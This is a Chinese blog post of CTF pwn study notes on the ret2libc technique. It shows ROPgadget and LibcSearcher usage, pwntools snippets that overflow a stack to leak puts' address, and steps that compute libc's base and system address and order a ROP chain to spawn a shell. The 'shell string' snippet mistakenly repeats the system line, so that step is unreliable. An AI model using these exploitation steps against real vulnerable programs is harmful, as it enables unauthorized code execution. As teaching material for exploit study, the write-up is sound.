ret2libc

runwu2204 Lv6

ret2libc基于没有system或没有/bin/sh($0可以代替,因为在linux环境变量$0就是当前终端)的情况,构造出一条ret调用链来

工具

ROPgadget

1
pip install ROPgadget

ROPgadget可以用于获取需要的字符串,汇编指令,最后可以通过栈溢出跳往对应的汇编指令中

LibcSearcher

1
pip install LibcSearcher

该工具可以根据你所给的指令名称对应的指令地址获取对应的外部got表地址

image-20230721003509555

1
2
libc=LibcSearcher('指令名称',指令地址)#可以获取内部got表对应地址所对应的glibc
libc.dump("需要的指令")#可以获取需要指令的外部got表地址

原理

section 所在 segment section 属性 用途
.plt 代码段 RE(可读,可执行) .plt section 实际就是通常所说的过程链接表(Procedure Linkage Table, PLT)
.plt.got 代码段 RE .plt.got section 用于存放 __cxa_finalize 函数对应的 PLT 条目
.got 数据段 RW(可读,可写) .got section 中可以用于存放全局变量的地址;.got section 中也可以用于存放不需要延迟绑定的函数的地址。
.got.plt 数据段 RW .got.plt section 用于存放需要延迟绑定的函数的地址

地址泄露

当puts elfgot表内函数地址时,会puts出真正的表内的函数地址

1
2
3
4
5
puts_got=elf.got['puts']#获取的实际上是got.plt地址
puts_plt=elf.plt['puts']
inputs=0x40066B
pop_rdi_retn=0x400743#ROPgadget --binary babyof --only 'pop|ret' |grep rdi
p.sendafter('Do',b'a'*o+p64(pop_rdi_retn)+p64(puts_got)+p64(puts_plt)+p64(inputs)+b'\n')#当收到Do就输出后面的字符串

pop_rdi_retn 将当前栈顶值(puts_got)传给rdi,然后将栈顶的指针向下移动到(puts_plt),并在之后跳转到栈顶值(puts_plt)

rdi(puts_got)将作为参数被puts_plt(puts函数)输出

因此可以泄露出puts的实际got表地址,不是elf中的got.plt

system函数

详情可见[StormQ’s Blog (csstormq.github.io)](https://csstormq.github.io/blog/计算机系统篇之链接(14):.plt、.plt.got、.got 和 .got.plt section 之间的区别)

因为system函数地址未知,但我们可以通过外部got表的地址,计算内部got表地址,获取got表内的函数(当加载libc的时候,函数都会在got表内),got表内函数的相对地址不会变

1
2
3
libc=LibcSearcher('puts',puts)
base=puts-libc.dump('puts')#此处是与泄露的got地址相减,就可以获取got表的基址了
system=base+libc.dump('system')#因为函数相对地址不变,就可以找到内部got表内的system函数地址

shell字符串

题目中可能没有提供字符串,在libc中会含有该字符串,当泄露了got表后可以获得

1
system=base+libc.dump('system')#因为函数相对地址不变,就可以找到内部got表内的system函数地址

传递参数

x64常用rdi作为传递的第一个参数,所以我们需要一个将shell地址传给rdi的汇编指令(可以将shell字符串的地址存在栈中,通过pop edi调用),同时又得让命令走向按照我们的意愿来,所以还得有个retn

1
2
3
pop rdi

retn
1
ROPgadget --binary "二进制文件" --only 'pop|ret' |grep rdi #可以获取pop rdi retn的地址

栈对齐

system函数需要栈为16字节的倍数,因为此处只用了24字节(传参地址,shell字符串地址,system地址)

还需要一个地址作为占位,可以选择只有retn指令的地址

1
ROPgadget --binary "二进制文件" --only 'ret' #获取只有retn命令的地址

ROP链

需要有个具体的栈的顺序

1
(retn地址,传参地址,shell字符串地址,system地址)

这样随着逐渐retn就可以获取shell了

  • 标题: ret2libc
  • 作者: runwu2204
  • 创建于 : 2023-07-21 00:30:25
  • 更新于 : 2023-07-21 01:11:15
  • 链接: https://runwu2204.github.io/2023/07/21/Pwn/linux/ret2libc/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
评论